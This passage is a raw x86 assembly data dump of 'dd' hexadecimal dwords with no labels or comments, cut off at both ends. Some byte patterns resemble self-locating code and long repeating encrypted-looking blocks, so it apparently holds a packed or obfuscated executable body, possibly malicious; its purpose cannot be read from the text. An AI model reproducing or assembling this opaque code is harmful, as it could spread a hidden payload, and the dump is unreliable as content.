8D8887DAh, 37088F95h, 0E8B94038h, 4A79A17Ch dd 1CA3D611h, 3EC9D74Bh, 0D225EE78h, 0BEE0D8D3h, 0FA6E0A73h dd 16FD992Fh, 48CFD9DCh, 2A7D7877h, 5223A8B6h, 0B96A4E6h dd 576F742h, 0DCFCED19h, 8859DEE4h, 0BACB0431h, 575E5FCEh dd 132h, 0CF3B048Dh, 0EE5A2BB1h, 0B7748D0h, 2E9A63EDh dd 4EBA8B10h, 0FA7F438Fh, 149FBD29h, 35C1DF4Bh, 5BE2006Ch dd 6D191E8Ah, 187B4CA2h, 31624D0h, 9400D156h, 0B21EEF76h dd 0FECF56CFh, 0AF8007FFh, 0F38DF843h, 9223B47Fh, 0EB1DDC14h dd 1208D220h, 9D95A2D0h, 6270E4F1h, 0C5A00CDDh, 0D01208ABh dd 0A57062E9h, 0D012084Fh, 0C02EF927h, 0B0D01208h, 89FD50A3h dd 0B668C57h, 10ED012h, 44C9E709h, 69F1FF73h, 0A69E9998h dd 0A4EAF1h, 29ED0000h, 0E5B024FCh, 0DC1A8020h, 0DDA63240h dd 3FEBE3DEh, 5D87B23Ah, 88DBF774h, 0B04F0B14h, 9586924Ah dd 9ACCE89Dh, 180CA1CFh, 4C4451D0h, 7AEEBF46h, 0C777D48h dd 0F2FFD018h, 8D96D8FAh, 0B6DA64DBh, 9BA19905h, 8F444314h dd 281D0101h, 0EF9794EFh, 0D2B9768h, 0BEB6B586h, 746C6B34h dd 261E1DEEh, 22D0CFA0h, 45BB6663h, 8BF20E17h, 0AABC994h dd 3E4B881Ch, 7CBDF5F3h, 0E0ACA984h, 3AB9D7D7h, 0E42F71D8h dd 0FA8F2E80h, 0BFC5BDDBh, 0DDFB6738h, 6A868556h, 403D45Ch dd 3FC1109h, 0FF000000h, 0CD563D54h, 860D0504h, 32BEB6B5h dd 0E7726A69h, 0A2271F1Eh, 55DAD2D1h, 38D8584h, 0BB433B3Ah dd 6DF3EBEAh, 686F9D9Ch, 6FC2h, 68241C89h, 494Eh, 68243C89h dd 103Ah, 68240C89h, 685Eh, 0BA241489h, 6093B82h, 835AD789h dd 248904ECh, 24048124h, 4, 0BA525759h, 6306240Eh, 4245401h dd 8418F5Ah, 0E086981h, 8B630624h, 8951240Ch, 4C181E1h dd 83000000h, 0C8704C1h, 3C8B5C24h, 0E3895324h, 4C381h dd 0C3830000h, 241C8704h, 3E1BE95Ch, 935BFFFAh, 3F8EB86Ch dd 0C5030609h, 0A73EE0FFh, 0C1F2023Ah, 0EC235397h, 2BE903F3h dd 297D5F59h, 51C12A13h, 9B476FBBh, 0DE70049Fh, 55DC0AF2h dd 6C213652h, 0EF25C28h, 0B37C771Ah, 614C00CDh, 0F8654A24h dd 54D4E7Eh, 0B3B34DE7h, 384A2A82h, 805732BEh, 538D67F2h dd 75B5702Ch, 0DBE34EA7h, 63616F9Dh, 2C90779Dh, 4BA2342Bh dd 0CB145BA6h, 0D0253DA6h, 0F47C4ED8h, 84A96EE1h, 0FB6F4DC7h dd 3E186249h, 83023412h, 4EB5089h, 66AD33BDh, 57EE9h, 9C65EE00h dd 0BB8C1230h, 0D8A9314Fh, 0FBC44E6Ch, 1BEC718Fh, 0E0A4F0AFh dd 1E8A5Bh, 2240AC75h, 4361CD96h, 7A7FEBBCh, 5ED03CEh dd 7785D018h, 0FECF5664h, 908207FFh, 1145AFC5h, 0E73A47D6h dd 5D65D7Bh, 56DCEA06h, 0DFB03585h, 0E7EDE5E0h, 98908F60h dd 4A424112h, 0A66FFAC0h, 0D45C5453h, 0A4110403h, 90E96BC7h dd 0F9F6FF60h, 5E6C164Eh, 330E06D7h, 39078E36h, 8F60E8AEh dd 0BD453D3Ch, 9FF2EDECh, 36C2E04Ch, 7E73814Ch, 23A9D611h dd 62585352h, 78960255h, 393702ECh, 0B9D6117Eh, 6D75CACh dd 0BAB90C07h, 0EC7137C2h, 0CE211C1Bh, 7583B1CFh, 271F1EEFh dd 0D6D1D0A1h, 69443883h, 6CDAA5CBh, 0F49C9974h, 0F1339F68h dd 51FEF4BFh, 6976D611h, 13E46B71h, 51145F14h, 8459D611h dd 0F7F2F987h, 59395C39h, 88000000h, 7601CF56h, 60B3AEADh dd 4540AC61h, 0D2A7D611h, 0E38C47D5h, 1875C39h, 0D6000000h dd 52DE2932h, 7C4DB5D5h, 27F87E84h, 0D9AA3028h, 8F58E2DAh dd 0D01EE91Bh, 22D61148h, 11481957h, 0D6CCD9D6h, 3C1CD1C9h dd 0B63CE4E1h, 2E3779E5h, 0BAA6E499h, 0AFB5ADC8h, 8EB5728h dd 100D156h, 3EB28309h, 0E4DCA530h, 0C5C2812Fh, 53C7981Dh dd 0EFEEBF45h, 0BCDAFCF4h, 0E2F06435h, 3A0B9157h, 0F5EDE8E7h dd 0EFC04840h, 0A9A61FF0h, 7A43CFDDh, 7928762Fh, 0B2AAB9E3h dd 39B51DC6h, 82185Ch, 56670000h, 90100D1h, 0FE57B881h dd 0D6D0EBCh, 438EE887h, 6ABD305Ah, 33308B6Bh, 0C935068Bh dd 565526ABh, 0C0BD45Eh, 37C5C23Bh, 5C393BACh, 4AD46F78h dd 0CD291B5Bh, 11E6EC02h, 247784D6h, 63F12Ch, 56400000h dd 90100D1h, 0ACB5B47Dh, 19572254h, 0D9D61145h, 0FCF9D4CCh dd 3D33FE30h, 0B5D61145h, 25AAB0A8h, 0DCD7E054h, 0D7A82E3Dh dd 0C629C18Ch, 386AACCEh, 11F7076Dh, 5DE5EFD6h, 7641398Ch dd 0FFD056h, 1145204Bh, 737045D6h, 39E3EEE5h, 0DA2D365Ch dd 45C6D976h, 6124D45h, 2000000h, 0A59D6EF4h, 0DD2932DAh dd 0BE8CD467h, 0D959B93h, 0BE453D3Ch, 0F1D0EEEDh, 0F3C44CF4h dd 37C13C87h, 0FD8391C3h, 3A322D2Ch, 1437B077h, 31A5B2DCh dd 9B6CF1FFh, 1236608Eh, 0B48FBBD0h, 0AAFCE58Ah, 0FAAFA7B4h dd 80897B02h, 0F87512AEh, 7C727F5Ch, 0F4D01262h, 62F5FBC6h dd 707DD012h, 4856CA1Dh, 0DAFCF4BDh, 0DC6735BCh, 0C6191413h dd 62DA12C7h, 1E27D012h, 21F27921h, 3F1097B5h, 0F0C14840h dd 0A472F9F1h, 0FBFA4D1Eh, 0B1B07903h, 0A6514EF9h, 3CE4E1A0h dd 7478E4B5h dd 5A3AC47Fh, 6334B9C7h, 14B306Bh, 12200000h, 0F8C3BB8Ch dd 0B024FC29h, 145F4AE5h, 0A31724DCh, 49410A95h, 47159C94h dd 0F9F4F3BCh, 951C3AA6h, 0EAE72DCCh, 6CBFD548h, 5F48516Dh dd 92E0AB9Eh, 62D0121Dh, 9CF20A55h, 30B7BDB5h, 58DDEB5Fh dd 0E0B13787h, 778533E8h, 1B747A45h, 0EFFCD012h, 531F1CF7h dd 0F1F0B945h, 511AA6F6h, 595F5752h, 539501D2h, 0F2F1BA45h dd 0D813FFF7h, 535A3ABDh, 60h, 9E2432A2h, 76A2D5CDh, 0F3FC2EA2h dd 6E399AD7h, 0D6117500h, 2C98E3F0h, 60231BC7h, 0D61146A2h dd 0CFA02832h, 9661D5D0h, 0D6114658h, 0B9B80B18h, 1146EE04h dd 0C4C16CD6h, 0D4F7BBEFh, 2369BB69h, 0CBD94DA0h, 58747344h dd 11A8678Dh, 0AF020FD6h, 1CC28DB7h, 94D611A8h, 76EE1B87h dd 0F1000000h, 0B024FC29h, 4C4B1CA2h, 0FD2F5951h, 0A1996AEFh dd 146751DEh, 151421DCh, 4147F0F9h, 803FB3CCh, 0B6B699E9h dd 0AEFE5160h, 5C625A23h, 7A9804D5h, 6E2322F3h, 0D012EF0Bh dd 0D27A7780h, 0C30E7A4Bh, 7F4ABE5Ah, 0DA192F8Ah, 583878Ch dd 0D95EDE8Eh, 5D6B8786h, 60C04D5h, 83AAE7Fh, 1DBC373Dh dd 0BAB2BFDAh, 0B08E705h, 0BD31CF36h, 167C07F2h, 86F2FFD0h dd 24FC29A3h, 0BDB37EB0h, 35D61145h, 3B063028h, 0DC1A85CEh dd 443C3B48h, 996AEFBDh, 8A98DA46h, 0F7C236FFh, 0D01805F9h dd 6E746C79h, 94A216E7h, 23511C0Eh, 0D3D01805h, 34FF73C6h dd 0D018053Eh, 0FCB1A9B6h, 0BCFAD747h, 9D6EF530h, 521BA69Eh dd 1D626053h, 8B8C8CF1h, 8E393615h, 32FEFB56h, 44CE9C24h dd 2E29287Bh, 0D8A93036h, 0F6C74E6Ch, 0AC75FFF7h, 0B3B08FADh dd 3FB3840Bh, 0E2DAAB31h, 814C7EC0h, 0B0BC0373h, 0F8FEF603h dd 4C1DA371h, 3F3FAF9h, 0F6000000h, 0CD563D54h, 860D0504h dd 32BEB6B5h, 0E7726A69h, 0A2271F1Eh, 55DAD2D1h, 38D8584h dd 0BB433B3Ah, 6DF3EBEAh, 536F9D9Ch, 0C381E389h, 4, 5304EB83h dd 42474FFh, 24048F5Bh, 23BF685Ch, 2C890000h, 0E2895224h dd 4C281h, 0EA830000h, 24148704h, 2434895Ch, 0A1BD5551h dd 0F735584Bh, 6EDC1D5h, 7F8FED81h, 814D5B69h, 740D69E5h dd 0AC58129h, 89496EFDh, 0C1815DE9h, 19AC4675h, 8149D1F7h dd 0ADEFA6F1h, 59CD897Dh, 8904EC83h, 4832424h, 505E0424h dd 868h, 0F0015800h, 8B582889h, 89532434h, 4C381E3h, 81000000h dd 4C3h, 241C8700h, 2434FF5Ch, 4C4835Dh, 0FA3810E9h, 0F014CFFFh dd 0B8DEFB95h, 6094572h, 0E0FFC503h, 2472C698h, 42754D4Ch dd 5B23CA1h, 47ECB0CCh, 782EB7AAh, 6D8302F5h, 47148D8Dh dd 8E0F0609h, 6, 2531B58Bh, 8D890603h, 60320A5h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 92C35141h, 0DD9D3360h dd 61060330h, 2389B589h, 85C70603h, 6031A65h, 5FACh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 91C35646h, 9FC2B851h dd 0F5527A09h, 7185C7h, 603h, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 160424h, 51410000h, 5762FDC3h dd 1655BD8Bh, 0B5FF0603h, 6031765h, 2169BD8Bh, 95FF0603h dd 603171Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 18h, 13C35141h, 4B1CEC7Fh, 1D1DB589h, 6A0603h, 23A595FFh dd 0C08B0603h, 5DBA59EBh, 794C30E8h, 6EF24B6Dh, 0CB43B9E2h dd 896FC0C9h, 6FB615E4h, 0E0F926AFh, 0F3E7F8ABh, 0AED9F8DDh dd 0BD9F56h, 0F8C2D319h, 136C6E34h, 99E72E99h, 0CD79EC8Ah dd 0B0DD3B30h, 0CE8C565Dh, 0B868CEFFh, 930AAF23h, 9F7F42Dh dd 87F5D102h, 250D7ECDh, 83CE71Bh, 0E89E8AE3h, 14h, 0F65C21DEh dd 4F0E420Fh, 2FD68162h, 0FEB068F6h, 3682FC8h, 58A0Fh dd 81660000h, 5B3DCAEEh, 2C25B589h, 0C3810603h, 7195h dd 0FFFCFF33h, 8B0F1F34h, 6, 19618531h, 0F580603h, 686h dd 1D9D8900h, 81060320h, 0AD127C0h, 6830F49h, 1000000h dd 330C5B5h, 0BAC08106h, 0F3612F4h, 680h, 0BD952300h, 8106031Ch dd 0C180A7F0h, 4FD98131h, 89162C8Eh, 85893B04h, 60319ADh dd 81CEB70Fh, 2D169DEFh, 71BD294Fh, 8106031Ch, 2D1699C7h dd 81D38B4Fh, 0FF8F14FFh, 88850FFFh, 29FFFFFFh, 3203585h dd 3EE85306h, 32565DB1h, 666AC8Fh, 3256558Fh, 3256ABB1h dd 18C8D5B1h, 4348EAE5h, 325675E4h, 3256BAB1h, 32565DB1h dd 3256AEB1h, 325657B1h, 3256ABB1h, 3256D5B1h, 3256EAB1h dd 325675B1h, 3256BAB1h, 32545DB1h, 3581AEB1h, 325257BBh dd 325DABA3h, 3271D5AFh, 3256EA68h, 325677F3h, 0F27DB8F3h dd 32565DB1h, 402B7A96h, 8C2F1772h, 6263C7AEh, 3256D358h dd 36417CB1h, 0A4E5575Ch, 174A355Fh, 3A9EDCD7h, 3250478Eh dd 0B59057B1h, 11047605h, 359B42Ch, 0C1DD8CD1h, 0D520CED7h dd 0BB0EE0D0h, 9DD879ADh, 3D37EB0Dh, 3250BE80h, 9530ABB1h dd 71A428E5h, 5206B2EBh, 3FFF3F0Eh, 24ECDC8Bh, 32C03CA1h dd 0D14433C5h, 0D08CE51h, 693CFEBDh, 39BF492Ch, 556EAB1h dd 0E1947815h, 1D58B3A1h, 0B330988Dh, 0DB50866Fh, 325657B7h dd 4F828C57h, 53CB16C3h, 3245032Dh, 5E4975B1h, 6A6D7084h dd 3641CB00h, 42E58C5Ch, 0AE593958h, 0BABE2A14h, 0DB21A509h dd 3256EAB7h, 6F6272F7h, 53CB1963h, 610E3C24h, 9DD82721h dd 0F9CC120Dh, 6A0CCA2Ch, 3ABE8D27h, 0E256EAB1h, 0CEB9BB78h dd 0B95D6034h, 6A370367h, 6A05CE80h, 325EBE2Dh, 6BF6ABB1h dd 279A2AAFh, 0B330F19Bh, 0DBF38350h, 3256BABDh, 0A1D490D5h dd 0DD986761h, 398CD24Dh, 6A0CCA2Ch, 36729138h, 542F59D1h dd 6A37A43Ah, 3256BAB1h, 32565DB1h, 3256AEB1h, 325657B1h dd 3256ABB1h, 3256D5B1h, 3256EAB1h, 325675B1h, 3256BAB1h dd 32565DB1h, 3256AEB1h, 325657B1h, 3256ABB1h, 3256D5B1h dd 3256EAB1h, 325675B1h, 3256BAB1h, 32565DB1h, 3256AEB1h dd 325657B1h, 3256ABB1h, 3256D5B1h, 3256EAB1h, 325675B1h dd 3256BAB1h, 32565DB1h, 3256AEB1h, 325657B1h, 3256ABB1h dd 3256D5B1h, 3256EAB1h, 325675B1h, 3256BAB1h, 32565DB1h dd 3256AEB1h, 325657B1h, 3256ABB1h, 3256D5B1h, 3256EAB1h dd 325675B1h, 3256BAB1h, 32565DB1h, 3256AEB1h, 325657B1h dd 3256ABB1h, 3256D5B1h, 3256EAB1h, 325675B1h, 3256BAB1h dd 32565DB1h, 3256AEB1h, 325657B1h, 3256ABB1h, 3256D5B1h dd 3256EAB1h, 325675B1h, 3256BAB1h, 32565DB1h, 3256AEB1h dd 325657B1h, 3256ABB1h, 3256D5B1h, 3256EAB1h, 325675B1h dd 3256BAB1h, 32565DB1h, 3256AEB1h, 325657B1h, 3256ABB1h dd 3256D5B1h, 3256EAB1h, 325675B1h, 3256BAB1h, 32565DB1h dd 3256AEB1h, 325657B1h, 3256ABB1h, 3256D5B1h, 0DA36EAB1h dd 325675B1h, 0D1BC3BEBh, 0BF5054FBh, 3A2CBF34h, 0BD4DEB7h dd 0BF50A2F9h, 3B964433h, 0FD463B7h, 0DA507CF9h, 3256B3FFh dd 32562659h, 1BD469B1h, 32505EF9h, 6056ABB1h, 29F75077h dd 5A00ECB2h, 0AEFECDE3h, 16270F4Eh, 0B7DB5BB2h, 3450D2E9h dd 0B7DF874Eh, 34558808h, 323ED1DBh, 5A56EAA1h, 325578F1h dd 0E2A9BADBh, 469656EBh, 1BD42782h, 0BB505EF9h, 3B1E8633h dd 3F166CB7h dd 0CADDEAB2h, 98A5B582h, 5A52D0E3h, 32564DB1h, 3252AED9h dd 0CD563DB1h, 31751223h, 0B0DF8FB7h, 345FA2CCh, 1BD3FED0h dd 0F150B3F9h, 67D49AD1h, 3250ADBAh, 0F55617B1h, 31527A33h dd 3246D5B7h, 52958BB1h, 7A7FCF3Ah, 0DD5BCB8h, 0B17529B1h dd 4654BECEh, 2229D4BAh, 0B158DFB5h, 0D8BDC176h, 3346AD76h dd 0D95675B1h, 22117D43h, 32565DB2h, 0F137475Ah, 52BADCE4h dd 3256AB59h, 0D8D78FB1h, 345FA169h, 7AD7C73Ah, 77DDBCB8h dd 0B150D4B9h, 3B1E2F33h, 0FB3753B7h, 5256AF73h, 3256D559h dd 0D8D7B0B1h, 345F3E4Dh, 7A2B083Ah, 806D5BB8h, 345FE630h dd 0CDD6CC5h, 8459743Ah, 75A0D4FEh, 36236AB0h, 30BDACB2h dd 7115639Ah, 1D1FD83Ah, 0BFDDA8B2h, 34554AC0h, 3B24738Ah dd 37210C8Ah, 0D9522C32h, 46994E78h, 43EB33B9h, 0D9505EACh dd 5295CF06h, 32565759h, 0D8D7F1B1h, 345F99E5h, 7A2B503Ah dd 32EF73B8h, 156BAB0h, 0B9FDAE71h, 3B1ED333h, 0B3D4DEB7h dd 5350A2F9h, 32BEB572h, 6856EAB1h, 7E289F30h, 0B790BCB8h dd 34554610h, 5F6FC6E7h, 87A983AEh, 34558FC0h, 4E0E503Ch dd 0E2A9ECB7h, 323E25E3h, 5856BA31h, 1BE4A2B1h, 0CD50A7F9h dd 5A0C0F61h, 32562BB1h, 80A9D5DBh, 345FA2CCh, 0F137A54Eh dd 52BA31E4h, 32565D59h, 0D8D7F4B1h, 345F1B7Dh, 0DA5EDE3Ah dd 3256D729h, 0BC415E4h, 6F507CF9h, 475ACF8Ah, 30D0B55Fh dd 0FB37AEB1h, 67565F73h, 0F6D5473Ah, 6101834Dh, 3256EA59h dd 0D8D72FB1h, 345FF7B1h, 0B95E283Ah, 6401BECCh, 32566059h dd 4696A0B1h, 67AE5E90h, 7A6F784Eh, 90B73B8h, 2022B6C4h dd 0B248D6D7h, 2CDC5E56h, 0DAA6B431h, 3256AD2Ch, 4FDF015Ah dd 0CC0B024Dh, 6D0D8A4Eh, 0CE1331EFh, 325A9F78h, 0B1BA25E4h dd 6401AF75h, 7791F8E0h, 3256D549h, 5BD42DB1h, 33507CF9h dd 0B956BAB1h, 0B93055C4h, 1BEC25AFh, 0B9505EF9h, 0E95DA3EEh dd 0EC6DDAC5h, 6FDDECC4h, 3E09FCBDh, 0D9427D32h, 2CDD3B5Bh dd 3DBE5531h, 32569935h, 0DBAD2BB1h, 329351BEh, 0C9D6EAB1h dd 8ED27A5Ah, 0B256BAB1h, 0B659BF4Ah, 3256AE1Dh, 3DB5AC31h dd 32563135h, 0C9D7B3B1h, 0B65909D6h, 32567529h, 54A65D31h dd 0B259A630h, 32C72ABEh, 0D1D657B1h, 42AD2B41h, 32D351BEh dd 0B930EAB1h, 0CAB5F5AFh, 46EE4131h, 3768DDF3h, 0CD693C5h dd 0B26E239Ch, 122C38Fh, 7A3F574Eh, 0B930ECB8h, 0CAB1F5AFh dd 0B3AD3BD7h, 54762959h, 0D5D6B03Ah, 0C9D73141h, 21226B30h dd 0A0A980D1h, 345FA288h, 0CE13FCECh, 0CE2B39D0h, 0B93528B0h dd 315DFB0Bh, 0B0DD07B7h, 345FE3D8h, 6A66E988h, 88DDBAC3h dd 34557160h, 5BD431E1h, 0B5054F9h, 4D0E9E8Dh, 0F546BC8Ch dd 325453F4h, 35BDD5B1h, 33AEAF76h, 0B95675B1h, 3B1E930Bh dd 3949D6B7h, 949DA6Ah, 0B959226Fh, 4FD5A7ECh, 3122D549h dd 0BBAEB7B2h, 0F5D571EEh, 1B451A5h, 3296B471h, 0B930AEB1h dd 3E2BDCAFh, 46BD5031h, 0C2B555BBh, 46261131h, 0F4649EA7h dd 759153B6h, 32565DB0h, 0B19125B1h, 0A5BF5271h, 5456ABB1h dd 3A59D276h, 0D1D6F43Bh, 0B29DF5BEh, 0F557E539h, 32565FF6h dd 0F5DDAEB1h, 0D9509732h, 0CD7CDC8h, 3D224521h, 47C6D431h dd 4CD713BFh, 46C62A4Eh, 0B952B6B3h, 0BF094576h, 3B1ED233h dd 0CD00FBB7h, 3B1EE823h, 4696E1B7h, 0BF9EFEBBh, 3B1E3F03h dd 6446B6B7h, 0CD03603Ah, 3B1E6E23h, 0FC7DF6B7h, 0B1080C46h dd 475712CCh, 981FC5A1h, 0B75902D7h, 8459F6D7h, 0D9FDAFF7h dd 0CA2BD4AAh, 5445DEB3h, 549FDE09h, 3DEE8C1Ah, 3DFD1335h dd 9957FC07h, 96A55F5Ah, 6B0D693Ah, 0F09F08EFh, 0B903ABB9h dd 32BEB55Dh, 6856EAB1h, 7D089F30h, 77DDBCB8h, 3D4D4B9h dd 5350A7F9h, 32529578h, 0B1BA20E4h, 0DA362D75h, 3256EAB1h dd 4DBCF4EBh, 0F550B3FEh, 3256A5F4h, 7791AEB1h, 3256574Dh dd 549698B1h, 0B091CB3Ah, 345FA2D8h, 325675B0h, 0A2AD3BD7h dd 0B2562821h, 0B659464Ah, 325656B9h, 0DBAD2BF1h, 32A851BEh dd 0B216EAB1h, 0B6599E4Ah, 3256BA45h, 0C2B1DDF1h, 3DAD2FD7h dd 0D7D25831h, 3156ABB1h, 3155BC33h, 0C9D6AAB7h, 0FCD27A53h dd 0B256BAB1h, 0B659BE4Ah, 3256AE0Dh, 55ADD6D7h, 88D2A452h dd 0B256D5B1h, 0C9D61A52h, 87D27AC1h, 5456BAB1h, 0D1D6433Ah dd 8AAD2E49h, 0CD610C5h, 0B214DFB4h, 0F22F88Fh, 463ED431h dd 0B0A93589h, 345FF2D8h, 0B248D6D7h, 0B3305656h, 46BED64Ah dd 2CDDCD95h, 54A63231h, 0F2D71130h, 673662C5h, 7A6F284Eh dd 0BB0B5BB8h, 0B13752F4h, 3D57ABCCh, 32578334h, 67EC5EB1h dd 6250E9BAh, 7A3FF73Ah, 0E6FBCB8h, 0B0590581h, 3256AFA0h dd 3687ED3Ah, 0B906ADB2h, 3B1EBC33h, 26AD3B7h, 0C8D97AE9h dd 0B956BAB1h, 3B1E700Bh, 1FD42DB7h, 26505EF9h, 75DF9C38h dd 0B0DD85A1h, 345FA2D8h, 6A66693Ah, 0DB5EE538h, 32565D64h dd 30AEEB76h, 0D95657B1h, 0CA136CB6h, 3256D5B0h, 7A7B503Ah dd 0B0D573B8h, 345FF29Ch, 0BB61D4A5h, 0CAD5BEF6h, 0F55A22B2h dd 3B1EC233h, 3256D7B7h, 0B15301B1h, 6D2B7749h, 32AEC732h dd 845946C5h, 0B2FFAFF7h, 475657B1h, 0DAD5EBB7h, 1F5E3EB4h dd 3256EA4Eh, 0D9539D32h, 0A8DDE9BAh, 345F15D8h, 6965AA3Ah dd 32565718h, 3142DE31h, 37965677h, 7A3F68B2h, 0BB1E73B8h dd 75DFB2F6h, 0C500B6BDh, 0C5908569h, 3796D469h, 7A3F29B2h dd 0BB1ED3B8h, 75DFE2F6h, 1689EBDh, 33103071h, 1323DD19h dd 0F2D568B2h, 3257ECB3h, 0E95DABB1h, 0A8DCDCC5h, 345E7389h dd 31579631h, 3A113372h, 0D95A1A38h, 178E59A5h, 3256574Eh dd 0EAA16D9Ah, 0BB541532h, 75DFE2F6h, 0FB378DBDh, 0DEDDEF72h dd 52AA9932h, 3256AE59h, 0D8D70DB1h, 345FFA21h, 7A7F6F3Ah dd 0FB65ECB8h, 3D564A32h, 32567835h, 0CD51D6B1h, 47A9A2C4h dd 41BE07B9h, 4156ABB0h, 269156B4h, 77DF085Ah, 3E238A4Dh dd 0CD5ECF4Eh, 330AB586h, 0B059AEB1h, 32565726h, 0BAAEE3Ah dd 0BED4DAB6h, 0CD56EAB1h, 4DD589F4h, 3A22BAB5h, 325A2232h dd 3CBDACC5h, 0CDA9A809h, 3253124Eh, 99A5D5B1h, 4DD5295Ah dd 3D2270A1h, 3446C532h, 0B9174CC4h, 6DDDAAF6h, 0B915BCBDh dd 6DDDAFF6h, 0B96F3EBDh, 6DDDEEF6h, 3A094EBDh, 0B904AFC4h dd 677D59E6h, 2603ADA1h, 195A083Ah, 37BD286Bh, 0B9443EEBh dd 6DDDEEF6h, 36095EBDh, 31535132h, 3177083Bh, 22292DB7h dd 735722B2h, 6EDF729Ah, 0CDEED4B0h, 8BA9154Eh, 325675B4h dd 64BF1142h, 53A9A24Eh, 32466C78h, 0B1BADCE4h, 0DA365775h dd 3256D5B1h, 49BC6BEBh, 0B9507CE3h, 3B1E930Bh, 0B19F6EB7h dd 0B659AE8Eh, 32565720h, 47A9AC3Ah, 3A232ABDh, 32DE02E1h dd 372575B1h, 0D9427D32h, 0CE13D453h, 0CD5ADB4Eh, 5A95FC4h dd 3256DA59h, 0B93CA7B1h, 356F16F4h, 77A916C3h, 3629394Dh dd 0B15E29B1h, 4656A2CEh, 8A58BCB3h, 0CDA9544Eh, 3256D008h dd 0D9FD19B1h, 2229F67Ah, 0B159CEB4h, 47504DCEh, 75DDEFA0h dd 3E09DCB5h, 75DDB65Ah, 3E095EB5h, 75DDF95Ah, 3E09FEB5h dd 0B152E59Ah, 4DD5585Ah, 3323ADA1h, 0BB8F7CF0h, 8A57AAEDh dd 0CDA92A4Eh, 3256EF08h, 0D9FD86B1h, 0F09FDB36h, 0B9035DB9h dd 77DDCE5Dh, 3E136CB9h, 776DA3C3h, 0CA55A2A1h, 0D9AFE95Ah dd 0F09F14B1h, 0B903BABDh, 0CE92DE5Dh, 325646D1h, 0B30C57B1h dd 3B05FA5Bh, 19FE6B7h dd 0CE0B636Ah, 7A7FCF3Ah, 0DD5BCB8h, 0B13229B1h, 3723518Eh dd 0D9429032h, 36292840h, 0B15EA1B1h, 4656E6CEh, 0CD5E9EB3h dd 0F5D546F4h, 0B18DB6A5h, 4653BECEh, 2229D4BEh, 7347DEB7h dd 0B952923Ah, 2FBDE6EEh, 0B952323Ah, 21BDB6EEh, 0B9521A3Ah dd 6D7DA2EEh, 37BDD4B5h, 3146D432h, 1917D4C4h, 330A6368h dd 0CDA9CDB0h, 37EF454Eh, 0C1565DB1h, 53C1451Ah, 0FBAA123Ah dd 6107FB72h, 3256D559h, 0D8D7B0B1h, 345F266Dh, 7A17203Ch dd 56EE5BB8h, 0DA56AEB1h, 32565763h, 0F36DA03Ah, 7955C15Ah dd 4097D1B5h, 221D76A6h, 30247B8Ah, 26BD5F5Ah, 0A8DBBC5Ah dd 345F9404h, 3ABD784Eh, 0F48D4F3Ch, 0E1A9ECB8h, 0F10E2CEAh dd 0DABA31E4h, 32565DB1h, 19BC2FEBh, 52505EE5h, 7A17113Ch dd 77DDD3B8h, 0B95163B9h, 75DF79F4h, 221331B5h, 0B95A1A38h dd 75DFBAF4h, 0F09F36A1h, 0F436ABA1h, 314D7434h, 283EADB7h dd 0CDFE62C2h, 3172CB04h, 6AD3D0B7h, 0CD50A8CDh, 0B8DB0561h dd 345FE3DCh, 68862AE0h, 7A3B683Ch, 855973B8h, 0EADDB6F1h dd 686752E3h, 0B0DF6DB2h, 34555B68h, 5251C3D0h, 0E8h, 0EA815A00h dd 609549Ch, 0D9828B52h, 0B906030Ch, 41C64E6Dh, 55AE1F7h dd 3039h, 0FFFFFF25h, 0D982897Fh, 5A06030Ch, 5251C359h dd 0E8h, 0EA815A00h, 60954CCh, 0BBE8C88Bh, 33FFFFFFh, 8BF1F7D2h dd 0C3595AC2h, 0C08BC08Bh, 4ADD858Dh, 0D0FF0609h, 8DC18B66h dd 9549585h, 0A1858906h, 8D060316h, 954C585h, 45858906h dd 0B8060321h, 0 dd 840FC00Bh, 47h, 1BA185C6h, 68560603h, 0A9C530DFh, 2471B5FFh dd 858D0603h, 6067C58h, 8D50D0FFh, 304798Dh, 46A5106h dd 100068h, 3DB5FF00h, 0FF060313h, 3DBD8BD0h, 3060313h dd 0C7813C7Fh, 0F8h, 202447C7h, 8D600000h, 30F9D9Dh, 0B038B06h dd 5840FC0h, 8B000000h, 4438900h, 234CF6B9h, 658D8D00h dd 0E8060956h, 14h, 5D03326Ch, 0A374C237h, 9AA47139h, 9393B073h dd 6E242E04h, 28A0Fh, 5E500000h, 7E95Eh, 4B790000h, 86A6648Eh dd 0A58D89D4h, 8B060320h, 32CE9BDh, 6585C706h, 0A806031Ah dd 6A000058h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 18042444h, 40000000h, 0FAA0C350h, 0C713BE62h, 3007185h dd 6, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1C04h, 0C3574700h, 0E08815Ch, 0BC1D6995h, 12E849h, 817C0000h dd 7D143A28h, 0C083A89Eh, 0F8307459h, 0B2855732h, 0B459D8Bh dd 0FF5F0603h, 3254DB5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1504h, 0C3514100h, 0FCBBBD25h, 0FF142DA4h dd 3171D95h, 6A42B006h, 0A595FF00h, 8B060323h, 0A67DEBC0h dd 0A909BC5Dh, 0C0776CB2h, 8BFE04Dh, 7A84256Ch, 5204378Fh dd 7269A05Fh, 7EF57E05h, 4A0E5765h, 0D57A0A24h, 0A6D195A6h dd 0D61E61A9h, 0E68545Eh, 0E5EBD435h, 478F0A23h, 5D4EF3Eh dd 6E163460h, 730EFEFEh, 2BCB7564h, 0B345A1B7h, 0D4404A42h dd 7D16E5B4h, 0BB79D298h, 6C8967C5h, 0D1725DB4h, 0AAC36345h dd 1A7776A2h, 0FD693555h, 27B4CE93h, 0FD0FB7F9h, 0E07DEEA9h dd 1FE852CFh, 0FE8h, 9BB40200h, 1AE6CBFAh, 2522305Eh, 0CAA36F3Ah dd 2E799D89h, 0E95E0603h, 0Dh, 5E7E2CF3h, 70C2F4Ch, 0FAA2864Ch dd 58C681ECh, 0E9000066h, 0Fh, 0D5F1F6B6h, 0D24E766Bh dd 0F860199Fh, 0BA621142h, 44A4EA15h, 2F4DC281h, 8D0FBB5Bh dd 4, 819B866h, 0CF810E8Bh, 7887F825h, 0B8DEE981h, 8B0F4385h dd 5, 64DB8166h, 41C18130h, 6634BE52h, 0B0BEF081h, 0CD91E981h dd 8D8901EFh, 6030C6Dh, 8D9D8951h, 8F06032Eh, 0D3BB6606h dd 0DDEE813Fh, 